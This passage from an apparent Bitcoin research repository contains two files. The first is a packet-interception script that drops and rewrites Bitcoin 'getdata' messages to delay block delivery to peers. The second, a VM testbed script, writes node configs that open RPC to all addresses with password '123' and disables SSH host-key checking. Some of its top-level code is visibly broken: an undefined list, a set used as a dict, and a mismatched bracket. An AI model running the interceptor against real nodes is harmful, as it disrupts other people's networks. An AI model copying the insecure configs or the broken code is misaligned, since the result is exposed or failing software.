222 | return
223 |
224 |
225 |
226 | except Exception as e:
227 | ftuple = ftuple + map(str, list(self.tup)) + ['send did not finish ok',str(self.modified)]
228 | logging.debug('\t'.join(ftuple))
229 | return
230 | def process(i, frame):
231 | '''
232 | For each destination there is a pipe
233 | Process writes to a diffrent pipe per bitcoin peer the operation need to be done and packet
234 | one thread per bitcoin peer is assigned to read from this pipe
235 | '''
236 | global threads
237 | global write_to
238 | now = datetime.datetime.now()
239 | frame_data = frame.get_data()
240 | size=frame.get_length()
241 | tmp=str(frame_data).encode('HEX')
242 | if size<55 or size==1500:
243 |
244 | frame.set_verdict(nfqueue.NF_ACCEPT)
245 | return
246 |
247 |
248 | is_getdata=getdata_any.search(tmp)
249 |
250 | if is_getdata==None:
251 | frame.set_verdict(nfqueue.NF_ACCEPT)
252 | return
253 | #Only getdata are left
254 | pkt=IP(frame_data)
255 | seq=pkt[TCP].seq
256 | dst= pkt.dst #tmp[32:40]
257 | tup=(pkt.dst,pkt.id,pkt.len,pkt.seq)
258 | if dst not in threads:
259 | output_p, input_p = Pipe()
260 | threads[dst]=Reader(output_p,dst)
261 | write_to[dst]=input_p
262 | threads[dst].start()
263 |
264 | if seq in threads[dst].getdata_seq : #tcp retransmission. We have this issue because we only delay the packets we change
265 | if size > threads[dst].getdata_seq[seq][0]:
266 | ftuple = [str(now)[11:16]] +map(str, list(tup)) + ['got bigger']
267 | logging.debug('\t'.join(ftuple))
268 | frame.set_verdict(nfqueue.NF_DROP)
269 |
270 | elif size < threads[dst].getdata_seq[seq][0]:
271 | ftuple = [str(now)[11:16]] +map(str, list(tup)) + ['got smaller']
272 | logging.debug('\t'.join(ftuple))
273 | frame.set_verdict(nfqueue.NF_DROP)
274 |
275 | if threads[dst].getdata_seq[seq][1]==None:
276 | frame.set_verdict(nfqueue.NF_DROP)
277 | return
278 | else:
279 | pkt[TCP].payload=threads[dst].getdata_seq[seq][1]
280 | del pkt[IP].chksum
281 | del pkt[TCP].chksum
282 | frame.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
283 | return
284 |
285 | threads[dst].getdata_seq[seq]=(size,None)
286 |
287 |
288 |
289 | if block_getdata.search(tmp)!= None : # if packet contains getdata for block
290 | coin=random.random() #Decide if attacker controls the connections based on propability
291 | if coin <= prop:
292 | frame.set_verdict(nfqueue.NF_DROP)#drops existing packets
293 | write_to[dst].send((frame_data,'modify_hash'))#asks responsible thread to modify and send the packet
294 | ftuple = [str(now)[11:16]] +map(str, list(tup))+ ['WRITTER:getdata & block WILL MODIFY']
295 | logging.debug('\t'.join(ftuple))
296 | return
297 | else:
298 | frame.set_verdict(nfqueue.NF_ACCEPT) # Attacker does not see the connection. just sends the packet as is
299 | ftuple = [str(now)[11:16]] +map(str, list(tup))+ ['WRITTER:getdata & block WILL ACCEPT']
300 | logging.debug('\t'.join(ftuple))
301 | return
302 |
303 | elif len(threads[dst].buff)>0 and (now-threads[dst].buff[0][1]).total_seconds() > delay * 60:
304 | frame.set_verdict(nfqueue.NF_DROP)
305 | write_to[dst].send((frame_data,'restore_hash'))#asks responsible thread to restore the old hash and send the packet
306 | ftuple = [str(now)[11:16]] +map(str, list(tup))+ ['WRITTER:RESTORE']
307 | logging.debug('\t'.join(ftuple))
308 | return
309 |
310 | else:
311 | frame.set_verdict(nfqueue.NF_ACCEPT)
312 | ppkt=(pkt[TCP].payload).copy()
313 | threads[dst].getdata_seq[seq]=(size,ppkt)
314 | if len(threads[dst].buff)>0:
315 | ftuple = [str(now)[11:16]]+map(str, list(tup))+['WRITTER:was not used to restore',str((now-threads[dst].buff[0][1]).total_seconds()/60.0)]
316 | logging.debug('\t'.join(ftuple))
317 | return
318 | return
319 |
320 |
321 |
322 |
323 | def main( ):
324 | nfq = nfqueue.queue()
325 | nfq.open()
326 | nfq.bind(socket.AF_INET)
327 | nfq.set_callback(process)
328 | nfq.create_queue(0)
329 | try:
330 | nfq.try_run() # process is called
331 | nfq.unbind(socket.AF_INET)
332 | nfq.close()
333 | nfsys.exit(1)
334 | except KeyboardInterrupt:
335 | nfq.unbind(socket.AF_INET)
336 | nfq.close()
337 | nfsys.exit(1)
338 | return
339 |
340 | main()
341 |
--------------------------------------------------------------------------------
/testbed/MRUN.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import os, sys
3 | import datetime
4 | from time import sleep
5 | from helpers import run
6 | from helpers import runb
7 | from helpers import runo
8 | import random
9 | import argparse
10 | INDIR='/home/virt/code/prj/vms/in/'
11 | OUTDIR='/home/virt/code/prj/vms/out'
12 | SYNCDIR= '/home/virt/code/prj/vms/conf/' # directory with files that should be rsynced to all vms
13 |
14 | VMOUTDIR='/home/ubuntu/bitcoin-testnet-box/1/testnet3/'
15 | VMRSYNCDIR='/home/ubuntu/bitcoin-testnet-box'
16 | NODES_NUM=7
17 |
18 | # PICK ON OF THE VMS as controller
19 | controller='ubuntu@17.15.137.163'
20 |
21 | #EXAMPLES:
22 | #./MRUN.PY giveme 206 2 'addnode 109.39.152.46:19000 'onetry''
23 | #./MRUN.PY giveme 206 2 getpeerinfo
24 | # sudo chown -R ubuntu bitcoin-testnet-box/
25 |
26 |
27 | with open(INDIR+"btc_clients", "r") as ins:
28 | for line2 in ins:
29 | l=line2.split()
30 | hj.append((l[0],l[1],l[2]))
31 | i=0
32 | conn=set()
33 | for i in range(len(hj)):
34 | j=i+1
35 | conn[hj[i]]=set()
36 | while len(conn[hj[i])<10:
37 | while j < len(hj):
38 | if hj[j] not in conn[hj[i]] and hj[i] not in conn[hj[j]] :
39 | conn[hj[i]].add(hj[j])
40 | j=j+1
41 | j=0
42 |
43 |
44 |
45 | def map_nodes():
46 | vm2ip={}
47 | with open(INDIR+"btc_clients", "r") as ins:
48 | for line2 in ins:
49 | l=line2.split()
50 | c=(l[2],l[1]) #(,vm,node)
51 | vm2ip[c]=l[0]
52 | return vm2ip
53 |
54 | def map_vms():
55 | vm2ip={}
56 | with open(INDIR+"ips_2_ssh", "r") as ins:
57 | for line2 in ins:
58 | l=line2.split()
59 | vm2ip[int(l[1][2:])]=l[0]
60 | return vm2ip
61 |
62 | def giveme (vm, node, cmd):
63 | node_adrr=map_nodes()
64 | c='bitcoin-cli -rpcconnect=%s -rpcport=19100 -datadir=/home/ubuntu/bitcoin-testnet-box/%s %s ' % (node_adrr[(str(vm),str(node))],node,cmd)
65 | print c
66 | run(c,controller)
67 | return
68 |
69 | def test_n_start(ffrom, to):
70 | started=0
71 | for vm in range(ffrom, to+1):
72 | for node in range(1,6):
73 | print "will check", vm, node
74 | try:
75 | giveme("vm"+str(vm) , node , 'getinfo')
76 |
77 | except Exception as e:
78 | started=started+1
79 | print "Probably not running"
80 | run_start ( vm, vm, [node] )
81 | print "____STARTED___", started, '____out of____ ',(to-ffrom+1)*5
82 |
83 | def new_connections(ffrom, to , c):
84 | node2ip=map_nodes()
85 | all_nodes=node2ip.values()
86 | for vm in range(ffrom, to+1):
87 | for node in range(1,6):
88 | for k in range(int(c)):
89 | nn=random.choice(all_nodes)
90 | cmd="addnode %s:18333 'onetry'" % nn
91 | print cmd
92 | try:
93 | giveme ("vm"+str(vm), node, cmd)
94 | except:
95 | pass
96 | return
97 |
98 |
99 | def bind_ips_to_nodes(a,ase):
100 | with open(INDIR+"btc_clients", "r") as ins:
101 | for line2 in ins:
102 | l=line2.split()
103 | vm=l[2][2:]
104 | node=l[1]
105 | ip=l[0]
106 | port=18333
107 | rpcport=19100
108 | VMDIR='/home/virt/code/prj/vms/conf/%s/%s' % (vm,node)
109 | try:
110 | re=open(VMDIR+'/bitcoin.conf','wb')
111 | except Exception as e:
112 | print e
113 | run('mkdir -p '+ VMDIR )
114 | re=open(VMDIR+'/bitcoin.conf','wb')
115 | re.write('testnet=1\ndnsseed=0\nupnp=0\nbind=%s:%s\nport=%s\nexternalip=%s\nrest=1\nrpcport=%s\nserver=1\nrpcallowip=0.0.0.0/0\nrpcuser=admin1\nrpcpassword=123'% (ip , port,port ,ip, rpcport))
116 | re.close()
117 |
118 |
119 | def rsync(f, to):
120 | for vm in range(f, to+1):
121 | cmd='rsync -avz %s vm%s:%s' % (SYNCDIR+str(vm)+'/' , vm, VMRSYNCDIR)
122 | #rsync -avz /home/virt/code/prj/vms/sync2vms/ node5:/home/ubuntu/bitcoin-testnet-box
123 | print 'Rsync to VM %s. cmd: %s' % (vm,cmd)
124 | run(cmd)
125 | return
126 |
127 | def ns(f, to):
128 | vm2ip=map_vms()
129 | for vm in range(f, to+1):
130 | cmd='sudo /home/ubuntu/bitcoin-testnet-box/namespace '
131 | run(cmd, "ubuntu@%s" % vm2ip[vm])
132 | print "Name spaces for vm %s" % vm
133 | return
134 |
135 | def make(vm,node, cmd):
136 | ssh_to_node=map_vms()
137 |
138 | cmd='cd /home/ubuntu/bitcoin-testnet-box; make %s%s >> /tmp/make_out.txt' % (cmd, node)
139 | print "VM %s node %s will execute %s" % (vm, node, cmd)
140 | try:
141 | pid=run(cmd, "ubuntu@%s" % ssh_to_node[int(vm)])
142 | except:
143 | pass
144 | return
145 |
146 | def make_all(ffrom, to, cmd):
147 | for vm in range(ffrom, to+1):
148 | for node in range(1,6):
149 | make(vm,node,cmd)
150 | return
151 |
152 | def scp(f, to):
153 | now=str(datetime.datetime.now())
154 | now=now[5:-10].replace(' ', '_')
155 | #scp node5:__PUSH_TO_SERVER.SH ./
156 | for vm in range(f, to+1):
157 | try:
158 | run('scp vm%s:%s/log %s' % (vm,VMRSYNCDIR,OUTDIR))
159 | cmd=run('mv %s/log %s/%s_%s' % (OUTDIR, OUTDIR, vm,'con') )
160 | except Exception as e:
161 | print "__ERROR__",vm,e
162 | for node in range(0):
163 | run('scp vm%s:%s/%s/testnet3/debug.log %s' % (vm,VMRSYNCDIR,node,OUTDIR))
164 | run('mv %s/debug.log %s/%s_%s' % (OUTDIR, OUTDIR, vm,"addr") )
165 | return
166 |
167 | #one entry per vm =(first asigned IP) 'where do i ssh?'
168 |
169 | #one entry per node = (IP:port) 'which node am I looking for , where should a node connect'
170 | #o.write('node%s_%s %s:%s\n'%(vm, ip_id ,ip , port+ip_id ))
171 |
172 |
173 |
174 | def make_hosts(f,to):
175 | i=to-f+1
176 | print './cloneCtrl.py clone %s test' % i
177 | run('./cloneCtrl.py clone %s test' % i)
178 | return
179 |
180 |
181 | def run_start ( f , to, nodes=[1,2,3,4,5] ):
182 | ssh_to_node=map_vms()
183 | for vm in range(f, to+1):
184 | print "VM",vm
185 | for node in nodes:
186 | print '______',node
187 | cmd='cd /home/ubuntu/bitcoin-testnet-box; make start%s >> /tmp/make_out.txt' % node
188 | print cmd
189 | pid=run(cmd, "ubuntu@%s" % ssh_to_node[vm])
190 | #pid.kill()
191 | return
192 |
193 | def clean_server(a,b):
194 | run("sudo ./kill_all")
195 | return
196 |
197 | def run_cmd ( f , to, cmd ):
198 | command=cmd+ " >> /tmp/log.txt &"
199 | ssh_to_node=map_vms()
200 | for i in range(f, to+1):
201 | print 'Node %s will execute command %s' % (i,command)
202 | try:
203 | run(command, "ubuntu@%s" % ssh_to_node[i])
204 | except Exception as e:
205 | pass
206 | return
207 | def del_ ( f , to, filee ):
208 | ssh_to_node=map_vms()
209 | for i in range(f, to+1):
210 |
211 | cmd='sudo rm /home/ubuntu/bitcoin-testnet-box/*/testnet3/%s' % filee
212 | try:
213 | run(cmd, "ubuntu@%s" % ssh_to_node[i])
214 | except Exception as e:
215 | print 'Node %s fail do execute cmd %s with %s' % (i,cmd,e)
216 | return
217 |
218 | def chown ( f , to ):
219 | ssh_to_node=map_vms()
220 | cmd='sudo chown -R ubuntu bitcoin-testnet-box/'
221 | for i in range(f, to+1):
222 | print 'Node %s will execute cmd %s' % (i,cmd)
223 | try:
224 | run(cmd, "ubuntu@%s" % ssh_to_node[i])
225 | except Exception as e:
226 | print 'Node %s fail do execute cmd %s with %s' % (i,cmd,e)
227 | return
228 | def save_peers(f,to):
229 | # do sudo cp bitcoin-testnet-box/$i/testnet3/peers.dat bitcoin-testnet-box/$i/testnet3/peers.dat.bak; done
230 | ssh_to_node=map_vms()
231 | cmd='for i in {1..5}; do sudo cp bitcoin-testnet-box/$i/testnet3/peers.dat bitcoin-testnet-box/$i/testnet3/peers.dat.bak; done'
232 | for i in range(f, to+1):
233 | print 'Node %s will execute cmd %s' % (i,cmd)
234 | try:
235 | run(cmd, "ubuntu@%s" % ssh_to_node[i])
236 | except Exception as e:
237 | print 'Node %s fail do execute cmd %s with %s' % (i,cmd,e)
238 | return
239 |
240 | def cp_peers(f,to):
241 | # do sudo cp bitcoin-testnet-box/$i/testnet3/peers.dat bitcoin-testnet-box/$i/testnet3/peers.dat.bak; done
242 | ssh_to_node=map_vms()
243 | cmd='for i in {1..5}; do sudo cp bitcoin-testnet-box/$i/testnet3/peers.dat.bak bitcoin-testnet-box/$i/testnet3/peers.dat; done'
244 | for i in range(f, to+1):
245 | print 'Node %s will execute cmd %s' % (i,cmd)
246 | try:
247 | run(cmd, "ubuntu@%s" % ssh_to_node[i])
248 | except Exception as e:
249 | print 'Node %s fail do execute cmd %s with %s' % (i,cmd,e)
250 | return
251 | def delete_hosts(f, to):
252 |
253 | for i in range(f, to+1):
254 | try:
255 | run('./cloneCtrl.py stopAndDelete ub1404-%s' % i)
256 | except Exception as e:
257 | print e
258 | return
259 |
260 | def delete_nets(f, to):
261 |
262 | for vm in range(f, to+1):
263 | for node in range(1,6):
264 | try:
265 | run('virsh net-destroy net%s_%s' % (vm,node))
266 | except Exception as e:
267 | print e
268 | return
269 |
270 | def stop_hosts(f, to):
271 | for i in range(f, to+1):
272 | try:
273 | run('virsh destroy ub1404-%s' % i)
274 |
275 | except Exception as e:
276 | print e
277 | return
278 |
279 | #echo -e "lal\n kmcoefpw"
280 | def write_nets(ffrom , to ,op):
281 | if op=='new':
282 | re=open(INDIR+'ips_2_ssh', 'wb')
283 | cl=open(INDIR+'btc_clients', 'wb')
284 | ssh=open("/home/virt/.ssh/config", 'wb' )
285 | ssh.write("Host * \nStrictHostKeyChecking no\n")
286 | ssh.write("Host golden \nHostName 192.168.122.185\nUser ubuntu\n")
287 | ssh.close()
288 | re.close()
289 | cl.close()
290 | re=open(INDIR+'ips_2_ssh', 'r+')
291 | re.read()
292 | ssh=open("/home/virt/.ssh/config", 'r+' )
293 | ssh.read()
294 | cl=open(INDIR+'btc_clients', 'r+')
295 | cl.read()
296 | os.chdir('/home/virt/_dumps')
297 |
298 | for vm in range(ffrom, to+1):
299 | for node in range(0,6):
300 | a1=random.randint(2 ,199 )
301 | while a1==127:
302 | a1=random.randint(2 ,199 )
303 | a2=random.randint(2 ,253 )
304 | a3=random.randint(2 ,253 )
305 | a4=random.randint(2 ,253 )
306 | ll=map(str,[a1,a2,a3,a4])
307 | ip='.'.join(ll)
308 | ll=map(str,[a1,a2,a3,'1'])
309 | net='.'.join(ll)
310 | if node==0:
311 | re.write(str( ip)+' vm'+str(vm)+"\n")
312 | ssh.write("Host vm"+str(vm)+"\nHostName "+str(ip) +"\nUser ubuntu\n" )
313 | else:
314 | cl.write(str(ip)+' '+str(node)+' vm'+str(vm)+"\n")
315 | print 'Write to net%s_%s.xml' % (vm,node)
316 | open('net%s_%s.xml' % (vm,node), 'w').write(
317 | '''
318 | net%s_%s
319 |
320 |
321 |
322 |
323 |
324 |
325 |
326 | ''' % (vm,node,vm,node,net,ip,ip))
327 | try: run('virsh net-destroy net%s_%s' % (vm,node))
328 | except: pass
329 | ssh.close()
330 | re.close()
331 | cl.close()
332 | os.chdir('..')
333 |
334 | def create_nets(ffrom , to ):
335 | os.chdir('/home/virt/_dumps')
336 | for vm in range(ffrom, to+1):
337 | for node in range(0,6):
338 | try:
339 | run('virsh net-create net%s_%s.xml' % (vm,node))
340 | print ' net%s_%s created' % (vm,node)
341 | sleep(2)
342 | except:
343 | pass
344 | os.chdir('..')
345 | return
346 |
347 | def asign_nets_to_vms(ffrom , to ):
348 | # assign vms to nets
349 | os.chdir('/home/virt/_dumps')
350 | for vm in range(ffrom, to+1):
351 | try: run('virsh destroy ub1404-%s' % vm)
352 | except: pass
353 | run('virsh dumpxml ub1404-%s > %s' % (vm,vm))
354 |
355 | run('sed -i "s/default/net%s_0/" %s' % (vm,vm) )
356 | for ii in range(1,6):
357 | run('sed -i "s/eth%s/net%s_%s/" %s' % (ii,vm,ii,vm) )
358 |
359 | run('virsh define %s' % (vm))
360 |
361 |
362 | os.chdir('..')
363 |
364 | def start_vms(ffrom, to):
365 | for vm in range(ffrom, to+1):
366 | run('virsh start ub1404-%s' % vm)
367 | print 'ub1404-%s started !' % vm
368 |
369 | parser = argparse.ArgumentParser("{delete_nets, stop_hosts,set_up,delete_hosts}")
370 | parser.add_argument("option", type=str, help=" ")
371 | parser.add_argument("start", type=int, help="start")
372 | parser.add_argument("end", type=int, help="end")
373 | parser.add_argument("extra", type=str,nargs='*', help="end")
374 |
375 | args = parser.parse_args()
376 | opt= args.option
377 | start= args.start
378 | end= args.end
379 | extra= args.extra
380 | if opt=="make_hosts":
381 | make_hosts(start,end)
382 | #Write will destroy a network if you ask to rewrite it!!!!!
383 | #If you want to rewrite all better reboot the server this will destroy them automatically :D
384 | elif opt=='write_nets'and len(extra):
385 | write_nets(start,end,extra[0])
386 |
387 | elif opt=='create_nets':
388 | create_nets(start,end)
389 | #define
390 | elif opt=='asign':
391 | asign_nets_to_vms(start,end)
392 |
393 | elif opt=='start_vms':
394 | start_vms(start,end)
395 |
396 | elif opt=='chown':
397 | chown(start,end)
398 |
399 | elif opt=='test_n_start':
400 | test_n_start(start,end)
401 |
402 |
403 | elif opt=='bind':
404 | bind_ips_to_nodes(start,end)
405 |
406 | elif opt=="rsync" :
407 | rsync(start,end)
408 |
409 | elif opt=='ns':
410 | ns(start,end)
411 |
412 | elif opt=="run_start" :
413 | if len(extra):
414 | run_start(start,end,extra)
415 | else:
416 | run_start(start,end)
417 |
418 | if opt=='kill_back':
419 | clean_server(start,end)
420 |
421 | elif opt=='log' :
422 | run_cmd(start, end, 'nohup python '+ VMRSYNCDIR+'/simple_log.py ')
423 |
424 | elif opt=='save_peers':
425 | save_peers(start,end)
426 | elif opt=='stop_log' :
427 | run_cmd(start, end, 'pkill -f simple_log.py')
428 |
429 | elif opt=='giveme':
430 | giveme("vm"+str(start),end,extra[0])
431 | elif opt=='make_all':
432 | make_all(start, end, extra[0])
433 | elif opt=='make':
434 | make (start, end, extra[0]) # def make(vm,node, cmd):
435 | elif opt=="scp" :
436 | scp(start,end)
437 | elif opt=='new_connections':
438 | new_connections(start,end, extra[0])
439 | elif opt=='stop_hosts':
440 | stop_hosts(start,end)
441 |
442 | elif opt=="delete_nets":
443 | delete_nets(start,end)
444 | elif opt=="cp_peers":
445 | cp_peers(start,end)
446 | elif opt=="delete_hosts":
447 | delete_hosts(start,end)
448 | elif opt=='del_':
449 | del_(start,end, extra[0])
450 | elif opt=="run" and len(extra):
451 | [e]=extra
452 | if 'start' in e:
453 | print "Start is not an API cmd call {./MRUN.PY run_start 5 5 }"
454 | sys.exit(0)
455 | run_cmd(start,end,extra[0])
456 |
457 |
458 | #./MRUN.PY run_start 5 5
459 | # ./MRUN.PY run 5 5 'make -C bitcoin-testnet-box getinfo'
460 |
461 |
462 |
463 |
464 |
--------------------------------------------------------------------------------